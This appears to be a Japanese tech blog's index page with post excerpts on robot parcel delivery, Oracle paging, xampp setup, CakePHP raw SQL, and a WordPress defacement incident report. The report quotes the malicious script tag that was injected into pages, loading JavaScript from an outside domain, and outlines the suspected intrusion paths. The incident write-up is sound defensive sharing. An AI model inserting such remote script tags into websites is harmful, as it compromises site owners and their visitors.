2017.07.04 (Tue) Category : Blog,News,technology Author :

ロボネコヤマトでラストワンマイル

題名が猫や犬(ワン)が入ってるんですが、、さておきヤマト運輸(クロネコヤマト)が宅急便の料金を値上げしたのはつい最近ですが、その原因となるのは人材不足。運ぶ人が居ないのに荷物はAmazonを筆頭としてオンラインショップが増え利用者も増え続けている。
運送業界におけるラストワンマイルというのは、途中の輸送はまとめて大型トラックなどで輸送できるけど最後の家庭に届ける部分のこと。ラストワンマイルに人が足りない状況なので配達時間の細分化をやめたりしてきている。

ということでその最後のワンマイルを人の代わりにロボットじゃないかということで、
DeNAが積極的に神奈川で自動運転(AI)ビジネスに積極的に取り組んでいる。

前には動物園での園内を走行する自動運転バスってのもあったね。

 

 

 

で、そのひとつが、DeNAとヤマト運輸共同で開発した

ロボネコヤマト」https://www.roboneko-yamato.com/

ネーミングがいいね。

続きを読む »

2017.06.24 (Sat) Category : SQL,technology Author :

Oracleでページング処理


Web系のシステムで利用されるDBは、PostgresqlやMySQLがあります。MySQLは有償化しましたがそのフォークであるMariaDBが無償で使えるのでいつも便利に使っています。
何が便利なのかというとWebの世界で育ってきたということもあるのでとても便利に使えます。

ページング(ページネーション)

いくつか便利な点がありますがそのうちの一つが「ページング」です。
MySQLだと先頭の100件取得するには以下の通り

SELECT * FROM table WHERE column = ? LIMIT 100 OFFSET 0;

LIMITで取得する件数、OFFSETで何件目から取得するかを指定です。カウントは0から始まるので0を指定すると1件目から。

これをOracleで行うと以下となります。

続きを読む »

2017.05.18 (Thu) Category : Blog Author :

xamppをインストール・設定(Phalcon向け)

最新のxamppのダウンロードから設定までの流れを説明していきます。

環境:Windows 10 64 bit

インストール先:C:xampp


●xamppのダウンロード
xamppを公式からダウンロードを行います。

xamppダウンロード1

「Windows」「Linux」「OS X」の3つのOS向けにが用意されています。
最新をダウンロードするなら、「ダウンロード その他のバージョンについてはこちらをくりっくしてください」をクリックします。

xamppダウンロード2
Windowsにインストールをするという想定で進めていきます。では、最新バージョンの「7.1.2/PHP 7.1.2」の「Downlod(32bit)」をクリックし、xamppをダウンロードをします。

※phalconをこのあとインストールする場合は、PhalconのDLLが7.1に対応していることを確認する必要があります。

ダウンロードはこれで完了です。


●xamppのインストール

次はインストールを行います。

続きを読む »

2017.01.31 (Tue) Category : Blog Author :

サイト改ざん案件(報告)

最近サイト改ざんの対応案件が立て続けに入ったため、同じ被害に合わないために情報共有をします。

今回見つけたのは、以下のスクリプトをscriptタグで自動実行させるプログラムです。

wordpressのとあるページに埋め込まれていました。

”js.trafficanalytics.online/js/js.js”

 

侵入手口から推測すると

  1. wordpressのアカウント奪取
  2. FTPアカウント奪取
  3. DBアカウント奪取
  4. SSHアカウント奪取
  5. ミドルウェアのセキュリティホールをつく

これらのうちどこかのアカウント、セキュリティホールを利用してログイン、もしくはスクリプトを実行しているのではないかと思われます。

 

症状

wordpressのとあるページに

<script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script>

というコードが埋め込まれます。
同じコードが同じ場所に連続で埋め込まれていました。

連続で埋め込まれている(規則性がある)というところを見るとなんらかのプログラムされたものによって書き込まれていることが推測されます。
人為的な改ざんではないと考えられます。

さらに、wordpressでは、ログインページからログインし、記事やページを編集した場合はリビジョンを付けて世代管理されます。
世代管理されている状態をみるとその内容は3年前に変更されたということになっていました。

まずは、前の正しい状態に戻しました。

数時間後。。。

またもや改ざんされていました。
今度は、過去のリビジョンもすべて改ざん対象となっていました。
しかも日付は変更されていません。

このことから、直接DBに書き込んだことがわかります。

ということで、DBにログインしてユーザ情報を見てみたところ
すべてのユーザがパスワード無しでアクセスできる状態となっていました。

この設定をちゃんとし、
もちろん既存のユーザはすべて削除し、新規に追加。

パスワード設定しなおしました。

ここで解決ではありません。

どうやってDBにユーザを作成したのか。
そこが問題です。

ということは、
ミドルウェアのセキュリティホールが怪しい。

さらに、apacheのerror.logが参照できたので覗いてみるとmod_wsgiに対してかなりの数の攻撃がありました。おおよそここが原因ではないかと考えます。
普通にapache運用しているとmod_swgiなんて入れないんですがどうやらそこのレンタルサーバーやさんのコントロールパネルがphthonで動作するらしくそのために入っているっぽいです(推測)

とりあえずなんとなく原因がわかったのですが、
また攻撃されるかもしれません。

できる対応とすれば、残りは、FTPのパスワード変更です。
SSHもあればパスワード変更。

それでも改ざんされるようであれば、セキュリティホールを突かれているとしか考えられないので、おおよそmod_wsgiであ廊下と思います。
こうなればサーバー事業者に相談するしか方法はありません。

調査依頼ありましたら、ご相談に応じます。


2016.12.16 (Fri) Category : Blog Author :

cakephp3 SQLを直接入力し実行するには

SQL
データベースを実行するやり方は、色々存在します。その中には、直接SQLのコードを入力し実行するというやり方もあります。やはり、内容が複雑であればあるほどややこしくなり、直接SQLを入力したくなる時がありますよね。

ということで、やり方は以下の通りです。

use Cake\Datasource\ConnectionManager;
$sql = 'SELECT * FROM hoge WHERE hoge=1';
   
$connection = ConnectionManager::get('default');
$results = $connection->execute($sql)->fetchAll('assoc');

 


おまけですが、Cakephp2でも直接SQLを入力することができるみたいです。ですが全く記述の仕方が異なりました。

$this->Timelog->query('SELECT * FROM hoge WHERE hoge=1');

え、うそ
これだけ?( ゚Д゚)

 

実際、cakephp2の方では上記のコードを使用した動作確認をしていないため、上記のコードで動く確証はないのですが、cakephp3とcakephp2とではまったく仕様が違うなと、たびたび実感する私です
(´・ω・`)

1 2 3 4 5 6 105
%d人のブロガーが「いいね」をつけました。